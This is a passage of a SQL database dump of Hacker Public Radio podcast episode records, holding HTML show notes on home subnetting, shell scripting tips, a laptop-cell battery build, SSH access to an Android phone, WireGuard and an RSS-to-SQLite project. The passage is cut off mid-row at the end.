SERVERS\n<ul>\n<li>192.168.3.07</li>\n<li>192.168.3.08</li>\n<li>192.168.3.09</li>\n<li>192.168.3.10</li>\n<li>192.168.3.11</li>\n</ul></li>\n<li>Group03: DHCP\n<ul>\n<li>192.168.3.12</li>\n<li>192.168.3.13</li>\n<li>192.168.3.14</li>\n<li>192.168.3.15</li>\n<li>192.168.3.16</li>\n<li>192.168.3.17</li>\n<li>192.168.3.18</li>\n<li>192.168.3.19</li>\n<li>192.168.3.20</li>\n<li>192.168.3.21</li>\n<li>192.168.3.22</li>\n<li>192.168.3.23</li>\n<li>192.168.3.24</li>\n<li>192.168.3.25</li>\n<li>192.168.3.26</li>\n<li>192.168.3.27</li>\n<li>192.168.3.28</li>\n<li>192.168.3.29</li>\n<li>192.168.3.30</li>\n</ul></li>\n</ul>\n<h2 id=\"t1000-network\">T1000 Network.</h2>\n<ul>\n<li>VLAN: NUMBERS</li>\n<li>IP Block: 192.168.4.1/27</li>\n<li>Subnet Mask: 255.255.255.224</li>\n<li>Gateway: 192.168.4.1</li>\n<li>Broadcast: 192.168.4.31</li>\n<li>Group01: SGOTI\n<ul>\n<li>192.168.4.02</li>\n<li>192.168.4.03</li>\n<li>192.168.4.04</li>\n<li>192.168.4.05</li>\n<li>192.168.4.06</li>\n</ul></li>\n<li>Group02: SERVERS\n<ul>\n<li>192.168.4.07</li>\n<li>192.168.4.08</li>\n<li>192.168.4.09</li>\n<li>192.168.4.10</li>\n<li>192.168.4.11</li>\n</ul></li>\n<li>Group03: DHCP\n<ul>\n<li>192.168.4.12</li>\n<li>192.168.4.13</li>\n<li>192.168.4.14</li>\n<li>192.168.4.15</li>\n<li>192.168.4.16</li>\n<li>192.168.4.17</li>\n<li>192.168.4.18</li>\n<li>192.168.4.19</li>\n<li>192.168.4.20</li>\n<li>192.168.4.21</li>\n<li>192.168.4.22</li>\n<li>192.168.4.23</li>\n<li>192.168.4.24</li>\n<li>192.168.4.25</li>\n<li>192.168.4.26</li>\n<li>192.168.4.27</li>\n<li>192.168.4.28</li>\n<li>192.168.4.29</li>\n<li>192.168.4.30</li>\n</ul></li>\n</ul>\n<h2 id=\"skynet-network\">Skynet Network.</h2>\n<ul>\n<li>VLAN: NUMBERS</li>\n<li>IP Block: 192.168.5.1/28</li>\n<li>Subnet Mask: 255.255.255.240</li>\n<li>Gateway: 192.168.5.1</li>\n<li>Broadcast: 192.168.5.15</li>\n<li>Group01: SGOTI\n<ul>\n<li>192.168.5.02</li>\n<li>192.168.5.03</li>\n<li>192.168.5.04</li>\n<li>192.168.5.05</li>\n<li>192.168.5.06</li>\n</ul></li>\n<li>Group02: SERVERS\n<ul>\n<li>192.168.5.07</li>\n<li>192.168.5.08</li>\n<li>192.168.5.09</li>\n<li>192.168.5.10</li>\n<li>192.168.5.11</li>\n</ul></li>\n<li>Group03: DHCP\n<ul>\n<li>192.168.5.12</li>\n<li>192.168.5.13</li>\n<li>192.168.5.14</li>\n</ul></li>\n</ul>\n',391,61,0,'CC-BY-SA','Networking, TP-Link Omada, Subnetting',0,0,1),
(3623,'2022-06-22','Internet Security - Child Edition',2487,'I have a discussion about Internet security with R. Brady Frost along with our sons','<p>The stuff Evil Steve doesn\'t want you to know with Lurking Prion. This is Season 1, Episode 8.</p>\n<p>In this episode, I have a discussion about Internet security with special guest and author, R. Brady Frost along with his son and mine. The discussion revolves around how our kids view Internet security and we discuss dangers they hadn\'t considered.</p>\n<h2 id=\"pics-of-the-week\">Pics of the week:</h2>\n<ul>\n<li><p>Hackers (The Movie)<br />\n<a href=\"https://www.imdb.com/title/tt0113243/?ref_=fn_al_tt_1\" class=\"uri\">https://www.imdb.com/title/tt0113243/?ref_=fn_al_tt_1</a></p></li>\n<li><p>Our Flag Means Death<br />\n<a href=\"https://www.imdb.com/title/tt11000902/\" class=\"uri\">https://www.imdb.com/title/tt11000902/</a></p></li>\n<li><p>R. Brady Frost<br />\n<a href=\"https://www.rbradyfrost.com/\" class=\"uri\">https://www.rbradyfrost.com/</a><br />\n<a href=\"https://www.rbradyfrost.com/blog/category/a-battle-mage-reborn/\" class=\"uri\">https://www.rbradyfrost.com/blog/category/a-battle-mage-reborn/</a></p></li>\n</ul>\n<h2 id=\"links\">Links:</h2>\n<ul>\n<li><p>Has your password been involved in a breach?<br />\n<a href=\"https://haveibeenpwned.com/\" class=\"uri\">https://haveibeenpwned.com/</a></p></li>\n<li><p>Realtime Global Cyber Attack Map<br />\n<a href=\"https://threatmap.checkpoint.com/\" class=\"uri\">https://threatmap.checkpoint.com/</a></p></li>\n</ul>\n',405,74,1,'CC-BY-SA','cybersecurity,security,EvilSteve,breach,data reduction,privacy',0,0,1),
(3649,'2022-07-28','Linux Inlaws S01E61: 20 years in review',4319,'The last 20 years in review','<hr />\r\n<h3>Counter Point</h3>\r\n<p>A counter point to this show is available: <a href=\"https://hackerpublicradio.org/eps.php?id=3648\">hpr3648 :: A response to tomorrows show</a>\r\n</p>\r\n<hr />\r\n<p>In this episode, Martin and Chris take a closer look at twenty years of Linux Inlaws\r\nhistory. Why, you may ask, given the fact that this podcast has only been in existence\r\nfor roughly over two years, are we reviewing this history? The answer - of course - is\r\nstraight forward: by sheer coincidence our two heroes got hold of a future episode\r\nwhich traveled back in time from the future. If you ever wondered about time-travel,\r\nthe paradoxes associated with this and what the next twenty years have in store not\r\njust from a Linux Inlaws perspective, this episode is for you.</p>\r\n\r\n<h2>Links:</h2>\r\n<ul>\r\n<li>DeLorean: <a href=\"https://en.wikipedia.org/wiki/DMC_DeLorean#Back_to_the_Future\" target=_blank>https://en.wikipedia.org/wiki/DMC_DeLorean#Back_to_the_Future</a></li>\r\n<li>Time-travel: <a href=\"https://en.wikipedia.org/wiki/Closed_timelike_curve\" target=_blank>https://en.wikipedia.org/wiki/Closed_timelike_curve</a></li>\r\n<li>Timespace: <a href=\"https://en.wikipedia.org/wiki/Spacetime\" target=_blank>https://en.wikipedia.org/wiki/Spacetime</a></li>\r\n<li>Altered Carbon: <a href=\"https://www.imdb.com/title/tt2261227\" target=_blank>https://www.imdb.com/title/tt2261227</a></li>\r\n<li>Linux Outlaws: <a href=\"https://en.wikipedia.org/wiki/Linux_Outlaws\" target=_blank>https://en.wikipedia.org/wiki/Linux_Outlaws</a></li>\r\n<li>The Inlaws @ YouTube: <a href=\"https://www.youtube.com/channel/UC1j_uaAbB3magzPs4Z0Y-mg\" target=_blank>https://www.youtube.com/channel/UC1j_uaAbB3magzPs4Z0Y-mg</a></li>\r\n<li>Timetravel with a DeLorean: <a href=\"https://www.backtothefuture.com\" target=_blank>https://www.backtothefuture.com</a></li>\r\n<li>D-Wave SPAC: <a href=\"https://www.datacenterdynamics.com/en/news/quantum-computing-firm-d-wave-to-ipo-via-16bn-spac-merger\" target=_blank>https://www.datacenterdynamics.com/en/news/quantum-computing-firm-d-wave-to-ipo-via-16bn-spac-merger</a></li>\r\n<li>Alphabet\'s attempt at longer living: <a href=\"https://www.calicolabs.com\" target=_blank>https://www.calicolabs.com</a></li>\r\n<li>The Fly: <a href=\"https://www.imdb.com/title/tt0091064/?ref_=fn_al_tt_1\" target=_blank>https://www.imdb.com/title/tt0091064/?ref_=fn_al_tt_1</a></li>\r\n<li>Hello! Magazine: <a href=\"https://www.hellomagazine.com\" target=_blank>https://www.hellomagazine.com</a></li>\r\n<li>Jeff Bezo\'s purgatory: <a href=\"https://www.livemint.com/companies/people/amazon-founder-jeff-bezos-divorce-with-mackenzie-bezos-final-with-38-billion-settlement-report-1562387250690.html\" target=_blank>https://www.livemint.com/companies/people/amazon-founder-jeff-bezos-divorce-with-mackenzie-bezos-final-with-38-billion-settlement-report-1562387250690.html</a></li>\r\n<li>Internet Archive: <a href=\"https://archive.org\" target=_blank>https://archive.org</a></li>\r\n<li>The GNU World Order: <a href=\"https://gnuworldorder.info\" target=_blank>https://gnuworldorder.info</a></li>\r\n</ul>\r\n',384,111,1,'CC-BY-SA','Time-travel, DeLorean, D-Wave, Hello! Magazine, Calico Labs',0,0,1),
(3625,'2022-06-24','Shell Tips and Snippets - Collaborative Effort',1225,'Carl and special guests provide some shell tips and examples.','<p>Carl talks about a method to move function definitions to the bottom of a script using sed:</p>\n<pre><code>#!/bin/sh\nsource &lt;(sed &#39;1,/^exit/ d&#39; $0)\n\n__say &quot;hello&quot;\n\nexit\n\n__say()\n{\n echo $1\n}\n</code></pre>\n<p>Guest Host #1 (scroll to the bottom to ruin the surprise) talks about the shift command using this example:</p>\n<pre class=\"bash\"><code>startdate=&quot;$1&quot; # Pick up date\nshift\ndays=0\n\n# Loop through args and create events\nwhile [ $1 ] ; do # as many times as you add a timestamp\n [ $1 != &quot;off&quot; ] &amp;&amp; khal new $(date -j -v+&quot;$days&quot;d -f %Y-%m-%d +%Y-%m-%d $startdate) $1 8H Work\n let days++\n shift\ndone\n</code></pre>\n<p>Guest Host #2 provides tips and examples on how to use variables safely and politely provide default values. One example of assigning a default value is:</p>\n<pre><code>foo=${foo:-&quot;blah&quot;}\n</code></pre>\n<p>Carl then closes out with the : (colon) shell builtin and provides a variation on the above default value:</p>\n<pre><code>: ${foo:=&quot;blah&quot;}\n</code></pre>\n',380,42,0,'CC-BY-SA','shell',0,0,1),
(3628,'2022-06-29','Building a Mobile Computer Battlestation: Extended Power Supply',1235,'Mobile computer Battlestation part 1; 16 cell power supply and BMS','<p>At the end, I am a little disappointed in the performance. One of the cell banks was discharging quicker than the others, but I replaced it and it is much more efficient now.</p>\n<p>All the cells were salvaged from old laptops.</p>\n<p><em>Figure 0.1</em><br />\n<a href=\"https://hackerpublicradio.org/eps/hpr3628/fig0.1.png\"><img src=\"https://hackerpublicradio.org/eps/hpr3628/fig0.1_thumbnail.1.png\" alt=\"Figure 0.1\" /></a> <br/><small><small><em>Click the thumbnail to see the full-sized image</em></small></small></p>\n<p><em>Figure 0.2</em><br />\n<a href=\"https://hackerpublicradio.org/eps/hpr3628/fig0.2.png\"><img src=\"https://hackerpublicradio.org/eps/hpr3628/fig0.2_thumbnail.2.png\" alt=\"Figure 0.2\" /></a> <br/><small><small><em>Click the thumbnail to see the full-sized image</em></small></small></p>\n<p><em>Figure 0.3</em><br />\n<img src=\"https://hackerpublicradio.org/eps/hpr3628/fig0.3.png\" alt=\"Figure 0.3\" /></p>\n<p><em>Figure 1</em><br />\n<a href=\"https://hackerpublicradio.org/eps/hpr3628/fig1.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3628/fig1_thumbnail.jpg\" alt=\"Figure 1\" /></a> <br/><small><small><em>Click the thumbnail to see the full-sized image</em></small></small></p>\n<p><em>Figure 2.0</em><br />\n<a href=\"https://hackerpublicradio.org/eps/hpr3628/fig2.0.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3628/fig2.0_thumbnail.0.jpg\" alt=\"Figure 2.0\" /></a> <br/><small><small><em>Click the thumbnail to see the full-sized image</em></small></small></p>\n<p><em>Figure 2.1</em><br />\n<a href=\"https://hackerpublicradio.org/eps/hpr3628/fig2.1.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3628/fig2.1_thumbnail.1.jpg\" alt=\"Figure 2.1\" /></a> <br/><small><small><em>Click the thumbnail to see the full-sized image</em></small></small></p>\n<p><em>Figure 2.2</em><br />\n<a href=\"https://hackerpublicradio.org/eps/hpr3628/fig2.2.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3628/fig2.2_thumbnail.2.jpg\" alt=\"Figure 2.2\" /></a> <br/><small><small><em>Click the thumbnail to see the full-sized image</em></small></small></p>\n<p><em>Figure 2.3</em><br />\n<a href=\"https://hackerpublicradio.org/eps/hpr3628/fig2.3.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3628/fig2.3_thumbnail.3.jpg\" alt=\"Figure 2.3\" /></a> <br/><small><small><em>Click the thumbnail to see the full-sized image</em></small></small></p>\n<p><em>Figure 3</em><br />\n<a href=\"https://hackerpublicradio.org/eps/hpr3628/fig3.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3628/fig3_thumbnail.jpg\" alt=\"Figure 3\" /></a> <br/><small><small><em>Click the thumbnail to see the full-sized image</em></small></small></p>\n<p><em>Figure 4</em><br />\n<a href=\"https://hackerpublicradio.org/eps/hpr3628/fig4.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3628/fig4_thumbnail.jpg\" alt=\"Figure 4\" /></a> <br/><small><small><em>Click the thumbnail to see the full-sized image</em></small></small></p>\n<p><em>Figure 5</em><br />\n<a href=\"https://hackerpublicradio.org/eps/hpr3628/fig5.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3628/fig5_thumbnail.jpg\" alt=\"Figure 5\" /></a> <br/><small><small><em>Click the thumbnail to see the full-sized image</em></small></small></p>\n<p><em>Figure 6</em><br />\n<a href=\"https://hackerpublicradio.org/eps/hpr3628/fig6.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3628/fig6_thumbnail.jpg\" alt=\"Figure 6\" /></a> <br/><small><small><em>Click the thumbnail to see the full-sized image</em></small></small></p>\n<p><em>Figure 7</em><br />\n<a href=\"https://hackerpublicradio.org/eps/hpr3628/fig7.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3628/fig7_thumbnail.jpg\" alt=\"Figure 7\" /></a> <br/><small><small><em>Click the thumbnail to see the full-sized image</em></small></small></p>\n<p><em>Figure 8</em><br />\n<a href=\"https://hackerpublicradio.org/eps/hpr3628/fig8.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3628/fig8_thumbnail.jpg\" alt=\"Figure 8\" /></a> <br/><small><small><em>Click the thumbnail to see the full-sized image</em></small></small></p>\n<p><em>Figure 9</em><br />\n<a href=\"https://hackerpublicradio.org/eps/hpr3628/fig9.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3628/fig9_thumbnail.jpg\" alt=\"Figure 9\" /></a> <br/><small><small><em>Click the thumbnail to see the full-sized image</em></small></small></p>\n<p><em>Figure 10</em><br />\n<a href=\"https://hackerpublicradio.org/eps/hpr3628/fig10.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3628/fig10_thumbnail.jpg\" alt=\"Figure 10\" /></a> <br/><small><small><em>Click the thumbnail to see the full-sized image</em></small></small></p>\n<p><em>Figure 11.0</em><br />\n<a href=\"https://hackerpublicradio.org/eps/hpr3628/fig11.0.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3628/fig11.0_thumbnail.0.jpg\" alt=\"Figure 11.0\" /></a> <br/><small><small><em>Click the thumbnail to see the full-sized image</em></small></small></p>\n<p><em>Figure 11.1</em><br />\n<a href=\"https://hackerpublicradio.org/eps/hpr3628/fig11.1.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3628/fig11.1_thumbnail.1.jpg\" alt=\"Figure 11.1\" /></a> <br/><small><small><em>Click the thumbnail to see the full-sized image</em></small></small></p>\n<p><em>Figure 12.0</em><br />\n<a href=\"https://hackerpublicradio.org/eps/hpr3628/fig12.0.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3628/fig12.0_thumbnail.0.jpg\" alt=\"Figure 12.0\" /></a> <br/><small><small><em>Click the thumbnail to see the full-sized image</em></small></small></p>\n<p><em>Figure 12.1</em><br />\n<a href=\"https://hackerpublicradio.org/eps/hpr3628/fig12.1.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3628/fig12.1_thumbnail.1.jpg\" alt=\"Figure 12.1\" /></a> <br/><small><small><em>Click the thumbnail to see the full-sized image</em></small></small></p>\n',401,0,0,'CC-BY-SA','computer,mobile,bms,power',0,0,1),
(3632,'2022-07-05','Intro to web scraping with Python',1915,'Using requests and Beautiful Soup to scrape websites','<p>A beginner introduction to web scraping with Python.</p>\n',78,25,0,'CC-BY-SA','python, web, internet',0,0,1),
(3633,'2022-07-06','The collective history of RAID controller brands',821,'Computer memory is a generic term for all of the different types of data storage technology that a c','<p><a href=\"https://www.enterprisestorageforum.com/hardware/types-of-computer-memory/\" class=\"uri\">https://www.enterprisestorageforum.com/hardware/types-of-computer-memory/</a></p>\n',129,0,0,'CC-BY-SA','memory, sdram,ddr, dram, ssd, hhd',0,0,1),
(3652,'2022-08-02','Registered memory',690,'Not to be confused with ECC memory, although memory modules often use both technologies.','<p><a href=\"https://en.wikipedia.org/wiki/Registered_memory\" class=\"uri\">https://en.wikipedia.org/wiki/Registered_memory</a></p>\n<p><a href=\"https://www.futureplus.com/ddr4-3ds-dimms-the-next-big-thing-in-the-data-center/\" class=\"uri\">https://www.futureplus.com/ddr4-3ds-dimms-the-next-big-thing-in-the-data-center/</a></p>\n',129,0,0,'CC-BY-SA','R-Dimm,DD4,3DS',0,0,1),
(3635,'2022-07-08','A short podcast on a nice tool called system-monitoring-center',243,'This is a short podcast on a nice tool called system-monitoring-center','<p>GitHub repo where you can find system-monitoring-center:<br />\n<a href=\"https://github.com/hakandundar34coding/system-monitoring-center\" class=\"uri\">https://github.com/hakandundar34coding/system-monitoring-center</a></p>\n',369,23,0,'CC-BY-SA','system-monitoring-center, linux',0,0,1),
(3638,'2022-07-13','Ken drops a bear on his android phone',316,'How to enable sftp using a sshd server on android/lineageos','<p>I have previously used <a href=\"https://f-droid.org/en/packages/org.primftpd/\" class=\"uri\">https://f-droid.org/en/packages/org.primftpd/</a> to enable sftp to my android phone</p>\r\n<p>For more information on How to mount remote storage using sshfs, see <a href=\"https://hackerpublicradio.org/eps.php?id=1944\">hpr1944 :: sshfs - Secure SHell FileSystem</a></p>\r\n<p>Also you will need to know about some useful tools for working with Android Devices <a href=\"https://hackerpublicradio.org/eps.php?id=3515\">hpr3515 :: ADB and scrcpy</a></p>\r\n<p><img src=\"eps/hpr3638/thumb-01-simplesshd-icon.png\" alt=\"simplesshd-icon\" /></p>\r\n<p>I found <a href=\"https://www.galexander.org/software/simplesshd/\" class=\"uri\">https://www.galexander.org/software/simplesshd/</a></p>\r\n<p>SimpleSSHD is an SSH2 server based on dropbear that supports scp, sftp, and rsync. It only supports public-key based authentication (no password/interactive auth except for bootstrapping). It does not use root, which means it must listen on a port over 1024 (defaults to port 2222).</p>\r\n<h2 id=\"install-from-fdroid\">Install from fdroid</h2>\r\n<p><a href=\"https://f-droid.org/en/packages/org.galexander.sshd\" class=\"uri\">https://f-droid.org/en/packages/org.galexander.sshd</a></p>\r\n<p><a href=\"eps/hpr3638/02-SimpleSSHD.jpeg\"><img src=\"eps/hpr3638/thumb-02-SimpleSSHD.jpeg\" alt=\"Start Screen\" /></a> </p>\r\n<p><a href=\"eps/hpr3638/03-port-number.jpeg\"><img src=\"eps/hpr3638/thumb-03-port-number.jpeg\" alt=\"Changing Port Number\" /></a> </p>\r\n<p><a href=\"eps/hpr3638/04-path.jpeg\"><img src=\"eps/hpr3638/thumb-04-path.jpeg\" alt=\"Changing Path\" /></a> </p>\r\n<h2 id=\"before\">before</h2>\r\n<pre>\r\nlaptop$ adb root\r\nlaptop$ adb shell\r\nphone: # cd /data/user/0/org.galexander.sshd/files\r\nphone:/data/user/0/org.galexander.sshd/files # ls -al\r\ntotal 56\r\ndrwxrwx--x 2 u0_a268 u0_a268 4096 2022-06-17 12:06 .\r\ndrwx------ 6 u0_a268 u0_a268 4096 2022-06-17 11:59 ..\r\n-rw-rw-rw- 1 root root 490 2022-06-17 12:05 authorized_keys\r\n-rw------- 1 u0_a268 u0_a268 475 2022-06-17 12:07 dropbear.err\r\n-rw------- 1 u0_a268 u0_a268 650 2022-06-17 12:03 dropbear.err.old\r\n-rw------- 1 u0_a268 u0_a268 6 2022-06-17 12:06 dropbear.pid\r\n-rw------- 1 u0_a268 u0_a268 83 2022-06-17 12:03 dropbear_ed25519_host_key\r\n</pre>\r\n<h2 id=\"commands-to-run\">Commands to run</h2>\r\n<pre>\r\nphone:/data/user/0/org.galexander.sshd/files # restorecon -F authorized_keys\r\nSELinux: Loaded file_contexts\r\nphone:/data/user/0/org.galexander.sshd/files # chmod 600 authorized_keys\r\nphone:/data/user/0/org.galexander.sshd/files # chown u0_a268:u0_a268 authorized_keys\r\n</pre>\r\n<h2 id=\"after\">after</h2>\r\n<pre>\r\nphone:/data/user/0/org.galexander.sshd/files # ls -al\r\ntotal 56\r\ndrwxrwx--x 2 u0_a268 u0_a268 4096 2022-06-17 12:06 .\r\ndrwx------ 6 u0_a268 u0_a268 4096 2022-06-17 11:59 ..\r\n-rw------- 1 u0_a268 u0_a268 490 2022-06-17 12:05 authorized_keys\r\n-rw------- 1 u0_a268 u0_a268 475 2022-06-17 12:07 dropbear.err\r\n-rw------- 1 u0_a268 u0_a268 650 2022-06-17 12:03 dropbear.err.old\r\n-rw------- 1 u0_a268 u0_a268 6 2022-06-17 12:06 dropbear.pid\r\n-rw------- 1 u0_a268 u0_a268 83 2022-06-17 12:03 dropbear_ed25519_host_key\r\n\r\nlaptop$ sshfs -p 2222 192.168.1.123: /mnt/phone/\r\n</pre>\r\n',30,0,0,'CC-BY-SA','SimpleSSHD,SSH2,dropbear,android,lineageos,primitive ftpd',0,0,1),
(3642,'2022-07-19','Interview with a Hacker: Vitaliy',5954,'We go back ... WAY BACK to golden days of hacking','<p>Lost interview I never uploaded!</p>\n',36,0,1,'CC-BY-SA','interviews,hacking,pentesting',0,0,1),
(3645,'2022-07-22','How to set up a small Linux Wireguard VPN',855,'I set up a small VPN and wrote a blog post about it. This is just an audiorecording of that','<p>The blogpost where I describe how to set up a Wireguard VPN network:<br />\n<a href=\"https://www.jeroenbaten.nl/the-complete-guide-to-setting-up-a-multi-peer-wireguard-vpn/\" class=\"uri\">https://www.jeroenbaten.nl/the-complete-guide-to-setting-up-a-multi-peer-wireguard-vpn/</a></p>\n',369,61,0,'CC-BY-SA','wireguard,linux, vpn',0,0,1),
(3648,'2022-07-27','A response to tomorrows show',1682,'Ken brings the DeLorean up to 141.6Kph to address monochromec\'s comment on stats','<hr />\r\n<h3>\r\nCounter Point\r\n</h3>\r\n<p>\r\nThis show is a counter point to: <a href=\"https://hackerpublicradio.org/eps.php?id=3649\">hpr3649 :: Linux Inlaws S01E61: 20 years in review</a>\r\n</p>\r\n<hr />\r\n<p><em>There are three kinds of lies: <a href=\"https://en.wikipedia.org/wiki/Lies%2C_damned_lies%2C_and_statistics\">Lies, damned lies, and statistics</a></em></p>\r\n<p>In today\'s show we discover that Hacker Public Radio is <strong>not</strong> a Podcast Hosting Platform.</p>\r\n<p>Each day your show will be heard by as many people as can squeeze into the main auditorium at FOSDEM, or between two and three <a href=\"https://en.wikipedia.org/wiki/Airbus_A380\">Airbus A380-800</a>. You know the big double decker passenger plane. Every month we have on average 33,584 downloads, that\'s about 40 fully loaded <a href=\"https://en.wikipedia.org/wiki/Airbus_A380\">Airbus A380-800</a>.</p>\r\n<p><a href=\"https://commons.wikimedia.org/wiki/File:FOSDEM%2712_-_Opening_Talk.jpg\"><img src=\"eps/hpr3648/thumb-FOSDEM12-Opening_Talk.jpg\" alt=\"\" /></a></p>\r\n<p>Podcast \"Hosting\" Sites, like Spotify, Apple Podcast or Google Podcasts, etc. do not host the media, they are essentially monetizing Hacker Public Radio content. And we are all absolutely fine with that because our shows are released under a <a href=\"https://creativecommons.org/licenses/by-sa/3.0/\">Creative Commons Attribution-ShareAlike 3.0 Unported license</a>.</p>\r\n<p><a href=\"eps/hpr3648/10-actual_hpr_downloads.png\"><img src=\"eps/hpr3648/thumb-10-actual_hpr_downloads.png\" alt=\"actual_hpr_downloads\" /></a></p>\r\n<p>Every one of those dots is a download that is <strong>not without cost</strong>, but is provided <strong>entirely free of charge</strong> to us by our kind hosting Provider <a href=\"https://anhonesthost.com/hosting/shared-hosting\">AnHonestHost.com</a> and the volunteer project <a href=\"https://archive.org/donate/\">the Internet Archive</a>. Both of which donates terabytes of storage and data transfer to us for free.</p>\r\n<p>The people to thank are our own <a href=\"https://hackerpublicradio.org/correspondents/0174.html\">Josh Knapp</a> over at <a href=\"https://anhonesthost.com/hosting/shared-hosting\">AnHonestHost.com</a>, who provides the Hacker Public Radio web site.</p>\r\n<p>And <a href=\"https://archive.org/donate/\">the Internet Archive</a> which is an American digital library with the stated mission of \"universal access to all knowledge\", who provide hosting for the media.</p>\r\n<p>\r\n<strong>For more details, <a href=\"eps/hpr3648/index.html\">see the full show notes</a>.</strong>\r\n</p>\r\n',30,0,1,'CC-BY-SA','statistics,syndication,reality',0,0,1),
(3637,'2022-07-12','HPR feed to Sqlite',454,'First step in creating a static copy of HPR','<ul>\n<li>Mailing list discussion - Source Code for the HPR website\n<ul>\n<li>What are the best ways to reproduce the HPR site using a static site generator.</li>\n<li>I would like the DB to be made public, but I understand why that may not be possible</li>\n</ul></li>\n</ul>\n<p>One interesting thing I read during the discussion is Ken said Every thing needed to recreate an HPR site is in the feed</p>\n<ul>\n<li>Challenge accepted\n<ul>\n<li>A lot of my toy projects have been around RSS and podcasts</li>\n<li>I am working on a Episode describing a project I did looking for podcasts that have podfaded.</li>\n<li>I starting thinking about what data is in the feed and thinking through a process for using the RSS data to recreate the HPR site</li>\n</ul></li>\n<li>Project\n<ul>\n<li>Link to Project <a href=\"https://gitlab.com/norrist/hprfeed2db\" class=\"uri\">https://gitlab.com/norrist/hprfeed2db</a></li>\n</ul></li>\n<li>DATA pulled directly from feed\n<ul>\n<li><p>explicit</p></li>\n<li><p>title</p></li>\n<li><p>author_name</p></li>\n<li><p>author_email</p></li>\n<li><p>link</p></li>\n<li><p>description</p></li>\n<li><p>summary - I think this is the same as description</p></li>\n<li><p>pubdate</p></li>\n<li><p>enclosures</p></li>\n<li><p>Episode ID - extracted from title - HPR2341</p></li>\n<li><p>feedparser and peewee</p></li>\n<li><p>full feed to SQLite specs</p>\n<ul>\n<li>40 Seconds on <strong>My Machine</strong></li>\n<li>20M hpr.sqlite</li>\n</ul></li>\n</ul></li>\n<li>Notably Missing from the RSS feeds\n<ul>\n<li>Episode Series</li>\n<li>Episode Tags</li>\n</ul></li>\n<li>Next steps\n<ul>\n<li>markdown from db info\n<ul>\n<li>Main page</li>\n<li>Corespondent pages</li>\n<li>Episode pages</li>\n<li>comments from comments feed</li>\n</ul></li>\n<li>Manually build other markdown for static pages</li>\n<li>about, contributing, ...</li>\n<li>Static site generator</li>\n<li>I don\'t think the tags are in the feed data</li>\n</ul></li>\n</ul>\n<pre class=\"bash\"><code>git clone https://gitlab.com/norrist/hprfeed2db\ncd hprfeed2db/\npython3 -m venv venv\nsource venv/bin/activate\npip install feedparser peewee\npython data_models.py\npython feed.py\nsqlite3 hpr.sqlite &quot;select count(*) from episode&quot;</code></pre>\n',342,0,0,'CC-BY-SA','python, rss, sqlite',0,0,1),
(3916,'2023-08-07','HPR Community News for July 2023',4533,'HPR Volunteers talk about shows released and comments posted in July 2023','<style>\ntable td.shrink {\n white-space:nowrap\n}\nhr.thin {\n border: 0;\n height: 0;\n border-top: 1px solid rgba(0, 0, 0, 0.1);\n border-bottom: 1px solid rgba(255, 255, 255, 0.3);\n}\n</style>\n\n<h2>New hosts</h2>\n<p>\nWelcome to our new hosts: <br />\n\n <a href=\"https://hackerpublicradio.org/correspondents/0420.html\" target=\"_blank\">HopperMCS</a>, \n <a href=\"https://hackerpublicradio.org/correspondents/0421.html\" target=\"_blank\">Reto</a>.\n</p>\n\n<h2>Last Month\'s Shows</h2>\n<table id=\"t01\">\n<tr>\n<th>Id</th>\n<th>Day</th>\n<th>Date</th>\n<th>Title</th>\n<th>Host</th>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3891/index.html\" target=\"_blank\">3891</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2023-07-03</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3891/index.html\" target=\"_blank\">HPR Community News for June 2023</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0159.html\" target=\"_blank\">HPR Volunteers</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3892/index.html\" target=\"_blank\">3892</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2023-07-04</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3892/index.html\" target=\"_blank\">Emacs package curation, part 1</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0399.html\" target=\"_blank\">dnt</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3893/index.html\" target=\"_blank\">3893</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2023-07-05</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3893/index.html\" target=\"_blank\">Game card design resources</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0078.html\" target=\"_blank\">Klaatu</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3894/index.html\" target=\"_blank\">3894</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2023-07-06</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3894/index.html\" target=\"_blank\">The Page 42 Show: Ugly News Week, Show\'s Epoch!</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0420.html\" target=\"_blank\">HopperMCS</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3895/index.html\" target=\"_blank\">3895</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2023-07-07</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3895/index.html\" target=\"_blank\">What\'s in my backpack</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0408.html\" target=\"_blank\">Stache_AF</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3896/index.html\" 